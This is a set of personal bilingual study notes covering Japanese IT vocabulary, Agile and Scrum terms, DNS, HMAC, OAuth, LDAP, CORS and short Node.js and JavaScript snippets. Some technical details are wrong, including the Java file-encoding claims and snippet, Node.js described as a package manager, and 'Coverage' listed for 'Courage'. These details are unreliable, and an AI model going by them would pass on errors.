12.仮説 かせつ
13.アプローチ 【英】approach;(向研究、学习的对象)接近。探讨。研究。 // 仮説 ⇒ 実行 ⇒ 検証 ⇒ 仮説。。。サイクル
14.AB test // 仮説 ⇒ 実行 ⇒ 検証 // の判断方法
一个总的目的和意图是,判断哪种UI或rerank策略更优,通过事实的依据判断哪种方案更符合用户的习惯和需求。
15.ドライブ 【英】drive;驾驶;开汽车远游;兜风。 // Test-Driven Development,测试驱动开发。
16.ロール role //三个角色:Scrum Master、Product Owner(产品负责人)和 Team(团队)
17.エキスパート expert ;专家,内行,行家。
18.Scrum的所有必备要素,也就是我们所说的三三五五。简单来讲,就是:
三个角色:Scrum Master、Product Owner(产品负责人)和 Team(团队)。
三个工件:Product Backlog(产品待办事项)、Sprint Backlog (Sprint 待办事项)和 可交付产品增量。
五大仪式(ceremony)(事件):Sprint(冲刺)、Sprint Planning(Sprint规划)、Sprint Daily Standup(每日站会)、Sprint Review(Sprint 评审)和 Sprint Retrospective(回顾)。
五大价值观:Coverage(勇气)、Openness(开放)、Focus(专注)、Commitment(承诺)和 Respect (尊重)。
ScrumFramework
19.MVP 最小化 可行性 产品
└ backlog01
└ backlog02
└ backlog03
└ backlog...
20.受け入れ 承认 // backlog 完了 // 受け入れ条件
21.デイリー スクラム Daily Scrum meeting
22.XP与Scrum
# =====================
Scrum要求开发团队中的成员自觉的保证。
而XP对整个流程方法有严格定义,
规定需要采用TDD,自动化测试,结对编程,简单测试,重构等
来约束团队的行为
# =====================
23.トライブ trible 组织 (原意:部队,种族)
24.スクワット squad 团队
25.イテレーション Iteration 迭代
26.スプリント Sprint 迭代 (一次迭代的开发周期,一般最多以30天为一个周期。)
27.スクラム Scrum 敏捷的一种思想 或 开发方式 (原意:橄榄球运动中的 争球)
28.敏捷宣言
# =====================
个体和互动高于流程和工具
工作的软件高于详尽的文档
客户合作高于合同谈判
响应变化高于遵循计划
# =====================
29.敏捷宣言提出的12条原则
# =====================
1.最高优先级的是:通过尽早和持续交付有高价值的软件,满足客户
2.欣然面对需求变化,即使是在开发阶段的后期,敏捷流程就是用变化来为客户获得竞争优势
3.频繁交付可工作的软件,从数周到数月,交付周期越短越好
4.在项目过程中,业务人员、开发人员必须每天在一起工作
5.以受到激励的个体为核心构造项目,为他们提供所需的环境和支持,信任他们可以把工作做好
6.最有效的、最高效的沟通方法是面对面的交谈
7.可工作的软件是衡量进度的首要标准
8.敏捷流程倡导可持续开发。客户、开发人员、用户要能够共同、长期维持步调(节奏)、稳定向前
9.持续地追求技术卓越和良好的设计,以此增强敏捷的能力
10.简单 -- 尽最大可能减少不必要的工作,简单是敏捷流程的根本
11.最佳架构、需求和设计,来自自组织型的团队
12团队定期反思如何提升效率,并调节和调整自己的工作方式
# =====================
30.インセプション 初期作业 // プロジェクトのインセプション // (解決法案)ソリューション合意
23.レトロスペクティブ Retrospective 英[ˌretrəˈspektɪv] 回顾的; 涉及以往的; 有追溯效力的; 溯及既往的; // KPT keep problem try
24.retro 重新流行; 复旧; 怀旧;
25.パンフレット 1.【英】pamphlet;小册子;场刊,宣传册。
26.設ける もうける 1.预备,准备。 2.设立,制定,设置。
27.付箋 ふせん 1.签条,浮签,飞签。 // agale (Sprint Planning用 ) (ドラフト ⇒ 準備完了 ⇒ 作業中 ⇒ 完了 ⇒ (取り下げ ))
28.スムーズ 1.【英】smooth;光滑,平滑;流畅,顺畅。
29.見事 みごと 漂亮,卓越,地道,精彩,巧妙。
漂亮。好看。精彩。出色。 // 見事な演技。 // 精彩的表演。
完全。彻底 // 見事に失敗した // 完全失败。一败涂地。
30.取り組み 1.解决;认真对付。 2.(相扑对手的)搭配,配合;广义上指一般的人或物相互对比。
31.委ねる ゆだねる 委托,听凭,委任。
32.agenda 英 [əˈdʒɛndə] (待办)事项;(政治)议题;计划
33.サーバント 1.仆役;仆人 (英) servant // Agale 中に、servant leader
34.コンセプト 【英】concept;概念,思想,观念。
35.そもそも 表示强调>究竟,到底;原来;说起来。
36.オーケストレーション 编制(orchestration)和编排(choreography)
// Jenkins // Integrate your DevOps orchestration toolchain into your CI/CD environment in one simple step.
(原意:【英】orchestration;〈楽〉谱管弦乐,管弦乐的谱曲)
计算机专业术语中英文对照 - 禅道 - 博客园
37.ご説明差し上げたいと思い。
38.XXXについて説明をさせていただきます。
39.XX/XXお休みをいただきますので、連絡は月曜日に返せていただきます。
40. 休みにくくなかったですか。 不难休息吗。
~かったです/~くなかったです (形容词语句的过去式)
41.Technology 技术 [tɛkˈnɒlədʒɪ]
42.Knowledge 知识 [ˈnɒlɪdʒ]
43.Algorithm 计算机算法 [ˈælɡəˌrɪðəm]
44.抑える おさえる
45.余地 よち // 改善の余地
46.主熟度 しゅじゅくど
47.目指す コスト改善したいです、目標それを目指す。 // 以那个(成本改善)为目标
48.プロトコル 【英】protocol ;协定。协议。
49.resolver 英 [rɪˈzɒlvə] (问题、困难等的)解决者
50.フルサービスリゾルバ(英:full-service resolver)とは
他のDNSサーバさんに答えを教えてもらいに行くDNSサーバさんのこと。
もう少し具体的に書くと
IPアドレスとドメイン名の紐付けに関して、
まず自分の持っているカンペ(キャッシュ)を見て問い合わせの答えを探し、
それでも分からなければ他のDNSサーバさんに問い合わせするDNSサーバさんのこと
根据客户端的询问,将域名转化为IP地址(或者IP地址转为域名),
这个功能被称为「Full-Service Resolver」,
执行这个询问的客户端称为「Stub Resolver」
51.権威サーバー // DNS // 根域名服务器 // root name server
// 1个为主根服务器在美国,由美国互联网机构Network Solutions运作。
// 其余12个均为辅根服务器,其中9个在美国,2个在欧洲(位于英国和瑞典),1个在亚洲(位于日本)。
└キャッシュサーバー1 // DNS
└キャッシュサーバー2 // DNS
└キャッシュサーバー... // DNS
作用:
1.修改的话,只修改【権威サーバー】就可以了。
2.降低【権威サーバー】的负载,平时访问时,访问【キャッシュサーバー】
52.FQDN :(Fully Qualified Domain Name)全限定域名
主机名是bigserver,域名是mycompany,那么FQDN就是bigserver.mycompany。
53.tracert 路由查询命令 (跟踪路由 跟踪网络连接 跟踪到目的地经过了哪些路由器)
54.密钥库文件格式(.jks(Java Keystore) .ks .jce .p12 .pfx.....), 证书格式(.cer/.crt/.rsa .p7c/.p7m/.p7s .p12.....)
55.cacerts 是一个信任库。信任库用于验证对等方的身份。 // 是certified authority certificates 的缩写
56.certified 英 [ˈsɜːtɪˌfaɪd] adj. 被证明的,有保证的,具有证明文件的
57.authority 英 [ɔːˈθɒrɪtɪ] n. 权力;行政管理机构;当局;当权者;权威;权威人士
58. ( authorized [ˈɔːθəˌraɪzd] 权威认可的,经授权的 // 401 Unauthorized )
59.certificate 英 [səˈtɪfɪkɪt] n.文凭;执照;证明,证书
■2022/08/12~2022/08/26纯单词整理
1.threshold 英 [ˈθrɛʃəʊld] n. 极限;临界值;门槛,入口;开始 境界値
2.recognition n. 认出,识别;承认;赏识;招呼;发言权 // AI 文字识别
3.manipulation 英 [məˌnɪpjʊˈleɪʃən] n. 操作;处理;伪造,篡改;操纵
4.対応付け 映射 // XMLの対応付け XML 映射 // Excel ⇒開発 ⇒ソース ⇒XMLソース ⇒XMLの対応付け // XML import export
5.32768 (32767) // 也是32K。即32*1024=32768-1( 32767) // Excel单元格中2^15
6.continuous [kənˈtɪnjʊəs] // CI continuous integration 持续集成
7.delivery [dɪˈlɪvərɪ] n. 投递,传送;交付;转让 // CD 持续交付
8.deliverables 英 [dɪˈlɪvərəbəlz] (合同等中指明的)交付成果,交付物
9.duration 英 [djʊˈreɪʃən] 美 [dʊˈreɪʃən] n. 持续时间;期间
10,accuracy 英 [ˈækjʊrəsɪ] n. 准确(性),准确无误
11.role n. 作用;角色
12.intelligent 英 [ɪnˈtɛlɪdʒənt] adj. 聪颖的,理解力强的;智能的 // AI // AI Artificial [ˌɑːtɪˈfɪʃəl] 人造的
13.integration 英 [ˌɪntɪˈɡreɪʃən] n. 结合;一体化;集成;综合;混合 // IT (Integration Test 结合测试) // CI continuous integration
14.indent インデント 缩进 // 例:(XXX処理返却の)実際のJSONには改行やインデントはありません。
15.indent インデント 缩进 // 例:(XXX処理返却の)実際のJSONには改行やインデントはありません。
16.DTO即数据传输对象 Data Transfer Object // JSON // Response // DTO
17.ResponseEntity<XXXXXResultDTO> // Json // RestTemplate.exchange
18.transfer 英 [trænsˈfɜː] 美 [ˈtrænsfər] v. 转换;转变;转让;转校
19.ご説明差し上げたいと思い。
20.XXXについて説明をさせていただきます。
21.XX/XXお休みをいただきますので、連絡は月曜日に返せていただきます。
22. ~かったです/~くなかったです (形容词语句的过去式) // 休みにくくなかったですか。 不难休息吗。
23.目指す コスト改善したいです、目標それを目指す。 // 以那个(成本改善)为目标
24.Technology 技术 [tɛkˈnɒlədʒɪ]
25.Knowledge 知识 [ˈnɒlɪdʒ]
26.Algorithm 计算机算法 [ˈælɡəˌrɪðəm]
27.抑える おさえる
28.余地 よち // 改善の余地
29.習熟度 しゅじゅくど
30.プロトコル 【英】protocol ;协定。协议。
31.resolver 英 [rɪˈzɒlvə] (问题、困难等的)解决者 // DNS 解析器
32.フルサービスリゾルバ(英:full-service resolver)
33.FQDN :(Fully Qualified Domain Name)全限定域名
34.tracert 路由查询命令 (跟踪路由 跟踪网络连接 跟踪到目的地经过了哪些路由器)
35.cacerts 是一个信任库。信任库用于验证对等方的身份。 // 是certified authority certificates 的缩写
36.certified 英 [ˈsɜːtɪˌfaɪd] adj. 被证明的,有保证的,具有证明文件的
37.authority 英 [ɔːˈθɒrɪtɪ] n. 权力;行政管理机构;当局;当权者;权威;权威人士
38.authorized [ˈɔːθəˌraɪzd] 权威认可的,经授权的 // 401 Unauthorized
39.certificate 英 [səˈtɪfɪkɪt] n.文凭;执照;证明,证书
0.セレモニー ceremony ;典礼,仪式。 ( 可以理解为 敏捷中, 所有(各种)会议的统称)
1.機敏 きびん 1.机敏;敏捷,麻利;机灵。
2.柔軟 じゅうなん
3.エンゲージメント 【英】engagement;约定,契约,合约(Engagement:参与) // Customer Engagement ,现场客户。
4.エンパワーメント empowerment ;授权、许可。(権限を与えること。) // エンゲージメント を向上のため、エンパワーメントは必要 (自律 必要)
5.アプローチ 【英】approach;(向研究、学习的对象)接近。探讨。研究。
6.パレートの法則 帕累托定律 // 也被称为 2/8法则, 20%的交付,代表了80%最终商业价值。
7.ミッション 任务 mission
8.ステークホルダー // 企業に利害関係を持つ人や組織。社員·株主・取引先のほか、消費者や地域住民を含めることもある。
10.継続 けいぞく 継続改善
11.イラスト ;插图,解说图,图解。【英】illustration 英 [ˌɪləˈstreɪʃən] n. 插图;图解;说明;例证 // 仮説 ⇒ 実行 ⇒ 検証 の イラストレーション
It is a telling illustration of inverted moral values.
这是对道德价值被颠覆的一个生动例证。
12.仮説 かせつ
13.アプローチ 【英】approach;(向研究、学习的对象)接近。探讨。研究。 // 仮説 ⇒ 実行 ⇒ 検証 ⇒ 仮説。。。サイクル
14.AB test // 仮説 ⇒ 実行 ⇒ 検証 // の判断方法
15.ドライブ 【英】drive;驾驶;开汽车远游;兜风。 // Test-Driven Development,测试驱动开发。
16.ロール role //三个角色:Scrum Master、Product Owner(产品负责人)和 Team(团队)
17.エキスパート expert ;专家,内行,行家。
19.MVP 最小化 可行性 产品
20.受け入れ 承认 // backlog 完了 // 受け入れ条件
21.デイリー スクラム Daily Scrum meeting
22.XP与Scrum
23.トライブ trible 组织 (原意:部队,种族)
24.スクワット squad 团队
25.イテレーション Iteration 迭代
26.スプリント Sprint 迭代 (一次迭代的开发周期,一般最多以30天为一个周期。)
27.スクラム Scrum 敏捷的一种思想 或 开发方式 (原意:橄榄球运动中的 争球)
30.インセプション 初期作业 // プロジェクトのインセプション // (解決法案)ソリューション合意 // inception 英 [ɪnˈsepʃən] n. 开始,开端;获得学位 // 盗梦空间(电影中:植入想法)
31.レトロスペクティブ Retrospective 英[ˌretrəˈspektɪv] 回顾的;
24.retro 重新流行; 复旧; 怀旧;
25.パンフレット 1.【英】pamphlet;小册子;场刊,宣传册。
26.設ける もうける 1.预备,准备。 2.设立,制定,设置。
27.付箋 ふせん 1.签条,浮签,飞签。 // agale (Sprint Planning用 ) (ドラフト ⇒ 準備完了 ⇒ 作業中 ⇒ 完了 ⇒ (取り下げ ))
28.スムーズ 1.【英】smooth;光滑,平滑;流畅,顺畅。
29.見事 みごと 漂亮,卓越,地道,精彩,巧妙。
30.取り組み 1.解决;认真对付。 2.(相扑对手的)搭配,配合;广义上指一般的人或物相互对比。
31.委ねる ゆだねる 委托,听凭,委任。
32.agenda 英 [əˈdʒɛndə] (待办)事项;(政治)议题;计划
33.サーバント 1.仆役;仆人 (英) servant // Agale 中に、servant leader
34.コンセプト 【英】concept;概念,思想,观念。
35.そもそも 表示强调>究竟,到底;原来;说起来。
36.オーケストレーション 编制(orchestration)和编排(choreography)
// Jenkins // Integrate your DevOps orchestration toolchain into your CI/CD environment in one simple step.
■2022/08/27以降
1.モニタリング 监听;监视;监控 // 1週間モニタリングありがとうございました。 // データ流入確認
2.余分 よぶん 多余,剩余。
3.P3P
简言之,就是网站向浏览器声明自己的隐私政策,
比如网站是否搜集访问者的个人信息,设置 cookie 的用途等等。
浏览器会依据设置,决定在第三方请求的条件下是否接受网站的 cookie。
(使用 curl -I 时, 返回的Head信息中,可以看到 【p3p】, 【set-Cookie】等信息)
如果只想做各个管理系统的单点登录。
还是有比较简单的方法的,就是发送 P3P 相关的 HTTP header。
4.使用 GitHub merge代码
【选择 工程代你提交码对应的Repository】
⇒【Pull requests】 (上部:Code | Issues | Pull requests | Projects | wiki|。。。)
⇒ 【comparing changes】 (选择 Branch, 选择2个,merge to,merge from)
⇒ 【Create pull request】(可以查看变更的代码一览)
⇒ 【Create pull request】 (选择Reviewers, Assignees,填写注释)
另外一个人()可以看到你提交的代码,并提交。
5.束 束ID
6.パイプ pipe 管道 // linux 中的管道 |
7.直近 ちょっきん
8.もっとも
9.ambiguous [æmˈbɪɡjʊəs] 含糊不清的;引起歧义的 // SQL // AmbiguousTableNameException
10.0912
technology [tɛkˈnɒlədʒɪ] n. 技术,科技;技术应用
knowledge [ˈnɒlɪdʒ] 知识;知晓;消息;理解范围
algorithm [ˈælɡəˌrɪðəm]
adventure [ədˈventʃə(r)] 冒险
assert [ə'sə:t] v. 断言;声称;维护;坚持
accuracy [ˈækjʊrəsɪ] n. 准确(性),准确无误
sure 美 [ʃʊr] adv. 当然,的确
escape [ɪˈskeɪp] 逃跑;避免;逃避
except /ɪkˈsept/ 除……外 everyone except me
Exception // java 异常
exclusions 排除; maven pom 引用jar时
excludes [ɪkˈskluːd] 不包括;maven pom 根据prefile 指定不同环境的配置文件时
executions 执行; maven pom 执行打包命令 中的 plugin 中使用
role [rəʊl] n. 作用;角色
rule [ruːl] n. 规则;惯例;统治
11.suggestion 英 [səˈdʒɛstʃən] n. 建议;示意;联想;微量 // github pull request suggestins reviewers
12.关于VBA中参数的括号
============
VB类语言的传统习惯,
即方法后面的参数是不用加括号的,只需用空格隔开即可:
对象.方法 参数1,参数2
用括号也可以,但必须用call调用:
Call 对象.方法(参数1,参数2)
============
13.シンボル symbol 象征。根据习惯和社会上的约定,表示某种事物的符号。 // java 编译 // Cannot find symbol //
14.java代码中检测操作系统语言(语言环境)
Locale.getDefault()
System.getProperties("user.language")
15.Maven设定环境变量
set MAVEN_OPTS= -Dfile.encoding=UTF-8
set MAVEN_OPTS= -Duser.language=UTF-8
set MAVEN_OPTS= -Duser.language=UTF-8 -Dfile.encoding=UTF-8
mvn -v
16.Java如何在创建文件时指定编码
Java如何在创建文件时指定编码_明月几时有666的博客-CSDN博客_java生成文件指定编码
---
・读取文件
FileInputStream fis=new FileInputStream(“xxxx.txt”);
・写文件
OutputStreamWriter osw=new OutputStreamWriter(fis,“UTF-8”);
Java API 8官方文档,File没有提供可以指定字符编码的构造函数。(即,读取文件时,没有办法指定编码格式)
17.2022_1008日语学习
1.ブーム 【英】boom;流行,暂时的景气,突然繁荣,过分繁荣。
2.ハム 【英】ham;火腿(豚肉を塩水に漬けてから燻製にした加工食品。)
3.ソーセージ 【英】sausage ;香肠,红肠,腊肠。(腸詰め。)
4.お摘み [おつまみ] 小吃小吃,简单的酒菜.,简单的酒菜.
5.ホワイトボード 白色的黑板,也叫白板。常用于教室、会议室等板书。
6.倉庫 そうこ
7.好み このみ 爱好,喜欢,嗜好。
8.コンセプト 【英】concept;概念,思想,观念。 「デザイン」、「乗り心地」
9.心地 ここち 感觉,心情。
10.燃費 ねんぴ
11.少数派 しょうすうは
12.コンサート 【英】concert;音乐会,演奏会。
13.トークショー talk show 脱口秀 谈话类节目
======
■2022/10/10以降
1.referrer 英 [rɪˈfɜːrə] 转交人;送交人 ; 介绍人;推荐人 // 简历推荐人 // HTTP中 referer(拼写错误,但一直沿用)
2.reference n. 提到,谈及;参考,查阅;证明人,介绍信 v. 查阅;参考;给(书)等附参考资料
3.三种浏览器引擎
・Trident: IE 以Trident 作为内核引擎。
・Gecko: Firefox 是基于 Gecko 开发。
・WebKit: Safari, Google Chrome 基于 Webkit 开发。
4.Trident[ˈtraɪdənt] 三叉戟,三叉曲线,三叉鱼叉 // Trident是Windows操作系统中内置的浏览器IE的内核, // Trident/7.0
5.gecko 英 [ˈɡekəʊ] n. 壁虎 // 浏览器引擎
6.Invocation 祈求;求助 // Remote Method Invocation
7.Inversion 倒转,否定,倒置 // Inversion of Control
-v // invert-match // -v is specified by POSIX
invert英 [ɪnˈvɜːt; ˈɪnvɜːt] n. 颠倒的事物 v. 使…转化;使…颠倒
8.version n. 译文;版本;描述;说法
9.vocation [vəʊˈkeɪʃən] n. 工作,职业,信心,使命感,圣召,神召
10.伝送 でんそう (依次)传送,传递。(次々に伝えて送ること。電気信号を伝えること。)
11.転送 てんそう 转送;转寄;转递。
12.第三分野とは、生命保険(第一分野)と損害保険(第二分野)の中間に位置する保険のことで、医療保険、がん保険、介護保険、傷害保険などさまざまな種類があります。
13.HMAC HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)
14.HMAC的应用
hmac主要应用在身份验证中,如下是它的使用过程:
客户端发出登录请求(假设是浏览器的GET请求)
服务器返回一个随机值,并在会话中记录这个随机值
客户端将该随机值作为密钥,用户密码进行hmac运算,然后提交给服务器
服务器读取用户数据库中的用户密码和步骤2中发送的随机值做与客户端一样的hmac运算,然后与用户发送的结果比较,如果结果一致则验证用户合法。
在这个过程中,可能遭到安全攻击的是服务器发送的随机值和用户发送的hmac结果,
而对于截获了这两个值的黑客而言这两个值是没有意义的,绝无获取用户密码的可能性,随机值的引入使hmac只在当前会话中有效,大大增强了安全性和实用性。
15.OAuth2.0 (SSO的实现方式之一)
OAuth(Open Authorization)是一个关于授权(authorization)的开放网络标准,
允许用户授权第三 方应用访问他们存储在另外的服务提供者上的信息,
而不需要将用户名和密码提供给第三方移动应用
OAuth2.0 原理流程及其单点登录和权限控制_kefeng-wang的博客-CSDN博客_oauth2.0
16.OAuth2.0认证流程原理
虽然在OAuth2.0协议中定义了四种客户端授权认证模式,
但是实际上大部分实际应用场景中使用的都是授权码(authorization code)的模式,
如微信开放平台、微博开放平台等使用的基本都是授权码认证模式。
OAuth2.0认证流程原理_嘿丶单炒饭的博客-CSDN博客_oauth2.0认证原理
17.mtls
mtls (双向认证)?它是一个过程,在这个过程中,客户机和服务器都通过证书颁发机构彼此验证身份。
相信 tls 大家都比较熟悉,就是 server 端提供一个授信证书,当我们使用 https 协议访问server端时,client 会向 server 端索取证书并认证(浏览器会与自己的授信域匹配或弹出不安全的页面)。
mtls 则是由同一个 root ca 生成两套证书,即客户端证书和服务端证书。客户端使用 https 访问服务端时,双方会交换证书,并进行认证,认证通过方可通信。
18.kid 是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥
19.JWT:JSON Web Token
JWT详解_baobao555#的博客-CSDN博客_jwt
20.Cookie 前缀如何让 Cookie 更安全
Cookie 前缀如何让 Cookie 更安全?_weixin_34283445的博客-CSDN博客
__Host- 前缀
如果 Cookie 名称带有 __Host- 前缀,那么它也肯定会具有 Secure 属性,而不应当具有 Domain 属性,因为 Cookie 只能作用于同源的网站,而且必须设置 Path=/。
21.XHR XMLHttpRequest // HTTP AJAX // Chrome 开发者工具 ⇒ NetWork 中选中【Fetch/XHR】, 可以查看 Ajax 的请求记录
22.preserver 英 [pri'zə:və] 保护人;保护剂;储藏柜 // Chrome 开发者工具 ⇒ NetWork 中选中【preserver】,可以保存多次请求记录
23.NodeJs Node.js是一种能够在服务器端运行JavaScript
Node.js简介及基本应用_橘猫吃不胖~的博客-CSDN博客_nodejs应用
===
const http = require("http");
const hostname = "127.0.0.1";
const port = 3000;
//创建HTTP服务器,并提供两个对象,一个请求(http.IncomingMessage对象)和一个
//响应(http.ServerResponse对象)
const server = http.createServer((req, res) => {
res.statusCode = 200;//设置statusCode属性为200,以表相应成功
res.setHeader("Content-Type", "text/plain");//设置Content-Type响应头
res.end("Hello World\n");//关闭响应,添加内容作为end()的参数
})
//服务器启动监听
server.listen(port, hostname, () => {
console.log(`服务器运行在http://${hostname}:${port}/`);
})
在浏览器中访问服务器:http://127.0.0.1:3000
得到 Hello World
===
Node.js 是一个基于"Chrome V8 引擎" 的JavaScript "运行环境";
NodeJS不是一门编程语言, NodeJS是一个运行环境;
node.js是一个JavaScript的项目管理工具,功能类似于java中的maven或者python中的pip。
NPM(node package manager)是 node.js 的包管理和分发工具。
新版的node.js集成了npm,安装node.js后无需额外安装npm。
24.distinguish [dɪˈstɪŋɡwɪʃ] v. 区别,辨别;看清;受人注目 // LDAP DN
25.LDAP 中 DN 含义 :区分名(DN,Distinguished Name)
26.LDAP 目录类似于文件系统目录。
下列目录:
DC=redmond,DC=wa,DC=microsoft,DC=com
如果我们类比文件系统的话,可被看作如下文件路径:
Com\Microsoft\Wa\Redmond
27.LDAP 中 CN、OU、DC 含义
LDAP 中 CN、OU、DC 含义
・ CN (Common Name)
・ OU (Organizational Unit)
・ DC (Domain Component)
例如(DN的值 ):CN=test,OU=developer,DC=domainname,DC=com
在上面的代码中 cn=test 可能代表一个用户名,ou=developer 代表一个 active directory 中的组织单位。
这句话的含义可能就是说明 test 这个对象处在domainname 域的 developer 组织单元中。
28.LDAP的DN指定时:
KEY:
javax.naming.Context
。。。
String SECURITY_PRINCIPAL = "java.naming.security.principal";
Value:
CN=test,OU=developer,DC=domainname,DC=com
29.BIG-IP (可以实现:ロードバランサ Load Balance)
BIG-IP是f5公司的一系列硬件产品,它的主要职能就是对进出此设备的网络流量进行管理。
最适宜用在需要对ip流量和web访问进行管理的环境下,比如,web访问的负载均衡;ssl认证得统一管理(把ssl做到big-ip上来,解放服务器得一部分性能)
BIG-IP简单介绍_mayabin的博客-CSDN博客_bigip
30.Splunk (收集Log数据,进行分析等操作)
(机器数据:设备和软件产生的日志数据、性能数据、网络数据包。这些数据都是一些非结构化的数据,我们可以统一将这些数据统一采集到splunk之后,splunk可以对这些数据进行索引、调查、监控、可视化等。)
Splunk基础教程手册 - 渗透测试中心 - 博客园
查看进程是否启动
ps -aux | grep -i splunk | grep -v splunk
查看配置文件
locate inputs.conf
locate outputs.conf
inputs.conf 中,可以查看收集对象的log文件
outputs.conf 中, 可以查看收集后,传送的位置 (传送Server:8999)
31.Linux防火墙firewalld的rich规则配置
在第一部分中,我们指定要应用规则必须满足的条件,在第二部分中,指定要执行的操作:accept、drop或reject
Linux防火墙firewalld的rich规则配置 - 下一朵云
32.firewalld的rich语法构造
Features/FirewalldRichLanguage - Fedora Project Wiki
rule [family="<rule family>"]
[ source address="<address>" [invert="True"] ]
[ destination address="<address>" [invert="True"] ]
[ <element> ]
[ log [prefix="<prefix text>"] [level="<log level>"] [limit value="<rate/duration>"] ]
[ audit [limit value="<rate/duration>"] ]
<action>
■2022/10/20以降
1.webJars // Spring boot Web 开发
SpringBoot | 第十八章:web应用开发之WebJars使用_程序员的成长之路的博客-CSDN博客
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
<version>3.5.1</version>
</dependency>
对应的jar
jquery-3.5.1.jar
画面引入
<script src="/webjars/jquery/3.5.1/jquery.js"></script>
地址
http://localhost:8080/webjars/jquery/3.5.1/jquery.js
2.apache 配置 500画面
httpd.conf
ErrorDocument 403 /apache/index.html
ErrorDocument 500 /err/err.html
3.原生js实现文件下载并设置请求头header
const token="自行定义";//如果有
/**
* 向指定路径发送下载请求
* @param{String} url 请求路径
*/
function downLoadByUrl(url){
var xhr = new XMLHttpRequest();
//GET请求,请求路径url,async(是否异步)
xhr.open('GET', url, true);
//设置请求头参数的方式,如果没有可忽略此行代码
// xhr.setRequestHeader("token", token);
//设置响应类型为 blob
xhr.responseType = 'blob';
//关键部分
xhr.onload = function (e) {
//如果请求执行成功
if (this.status == 200) {
var blob = this.response;
var filename = "我是文件名.xxx";//如123.xls
var a = document.createElement('a');
blob.type = "application/octet-stream";
//创键临时url对象
var url = URL.createObjectURL(blob);
a.href = url;
a.download=filename;
a.click();
//释放之前创建的URL对象
window.URL.revokeObjectURL(url);
}
};
//发送请求
xhr.send();
}
4.CORS
CORS error // Ajax // 跨域 // Chrome 开发者工具中 显示 CORS error ,type xhr
A cross-origin resource sharing (CORS) request was blocked because of invalid or missing response headers of the request or the associated preflight request .
To fix this issue, ensure the response to the CORS request and/or the associated preflight request are not missing headers and use valid header values.
Note that if an opaque response is sufficient, the request’s mode can be set to no-cors to fetch the resource with CORS disabled; that way CORS headers are not required but the response content is inaccessible (opaque).
5.経緯:
想自己在本地写一个网页,通过Ajax请求,设置Header信息之后,访问某个网站
(尝试原因:网站内部代码,直接使用Header信息,作为登陆认证,想通过设置Header看看能否非法登陆,以检证程序是否安全)
结果发现,根本不可能实现。 出现了 CORS error
这是由于浏览器的【跨域限制机制(浏览器同源策略)】造成的
同一个源下的资源与另一个源下的资源进行交换。★★★切记 ★★★ ⇒ 跨域仅仅是针对浏览器而言的,像两个服务端之间执行http请求的则不属于跨域。
web应用中的跨域问题以及解决_liushangzaibeijing的博客-CSDN博客_web跨域
响应时,设置Head信息
#活动访问接口跨域配置
add_header 'Access-Control-Allow-Origin' '*';
#add_header 'Access-Control-Allow-Methods' 'GET, POST';
#add_header 'Access-Control-Allow-Credentials' "true";
#add_header 'Access-Control-Max-Age' 86400;
#add_header 'Access-Control-Allow-Header' 'Content-Type,*';
6.浏览器跨域限制
所谓浏览器跨域限制,其实是为了数据安全的考虑由Netscape提出来限制浏览器访问跨域数据的策略。
这是一种约定,正式叫法为“浏览器同源策略”,目前已经在大多数浏览器中支持。
本质上,所谓浏览器同源策略,即:不允许浏览器访问跨域的Cookie,ajax请求跨域接口等。
也就是说,凡是访问与自己不在相同域的数据或接口时,浏览器都是不允许的。
最常见的例子:对于前后端完全分离的Web项目,前端页面通过rest接口访问数据时,会出现如下问题:
不允许发送POST请求:在发送POST请求之前会发送OPTIONS请求,HTTP响应状态码为403(Forbidden)。
允许发送GET请求:HTTP响应状态码为200,但是不能读取服务器返回的数据。
7.实现浏览器跨域的方法:CORS 全称是"跨域资源共享"(Cross-origin resource sharing)
8.什么是跨域请求,怎么解决
简介:
跨域指的是从一个域名去请求另外一个域名的资源。即跨域名请求!
跨域时,浏览器不能执行其他域名网站的脚本,
是由浏览器的同源策略造成的,是浏览器施加的安全限制。
解决:
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。
它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持。
浏览器:目前,所有浏览器都支持该功能,IE浏览器不能低于IE10(ie8通过XDomainRequest能支持CORS)。
服务器:
通过在被请求的路由中设置header头,可以实现跨域
服务端响应的时候添加一个 Access-Control-Allow-Origin 的响应头
(可以使用在服务器端,部署的 Nodejs实现 CORS )
https://blog.csdn/Doug_/article/details/123428376
9.跨域(Access-Control-Allow-Origin)解决方案详解
跨域(Access-Control-Allow-Origin)解决方案详解_usun.he的博客-CSDN博客_access-control-allow-origin
10.CORS // 在 spring boot中给我们提供了 @CrossOrigin 注解用于解决跨域问题
SpringBoot跨域设置(CORS)_骑个小蜗牛的博客-CSDN博客_springboot 跨域配置
11.CORS 的一些应用场景
跨域资源请求,这个比CSRF更常用。如果说CSRF是浏览器自动发起的请求, 那么CORS就是手动构造的请求,期望其它站点能返回一些自己想要的资源。
比如:公司前后端分离,前端代码在域名A下面,后端应用绑定的域名是B,那么就要手动的设置允许A访问B的资源。
==================
nginx 配置add_header 'Access-Control-Allow-Origin' '*'
nginx 配置add_header 'Access-Control-Allow-Origin' '*' 依然存在跨域问题_add_header access-control-allow-origin_熊先生的博客的博客-CSDN博客
正确配置Access-Control-Allow-Origin,不要配置成 *
正确配置Access-Control-Allow-Origin,千万不要设置成*_allow origin_百家饭OpenAPI的博客-CSDN博客
=================
12.CRUL 资料总结
linux命令_curl - ivanlee717 - 博客园
13.cross 英 [krɒs] n. 十字形记号;十字形; v. 穿过;(使)交叉;
14.Origin n. ˈɒrɪdʒɪn/ n. 起源;出身;原点;起端
15.forgery 英 [ˈfɔːdʒərɪ] n. 伪造罪;伪造品 // CSRF 跨站请求伪造 Cross-site request forgery
16.sprintboot + vue 前后端分离
Springboot+vue整合_闪白的博客-CSDN博客_springboot vue
===
小白初学笔记--vue_闪白的博客-CSDN博客
17.VUE帮助文档 官方
简介 | Vue.js
18.【声明式渲染】和【命令式渲染】
声明式:告诉“机器”,你想要什么,不需要关心中间实现过程,我们只需要开始和结果
命令式:如果你想要什么,你要告诉“机器”,并且还要告诉“机器”,怎么做,开始、过程、结果都要有
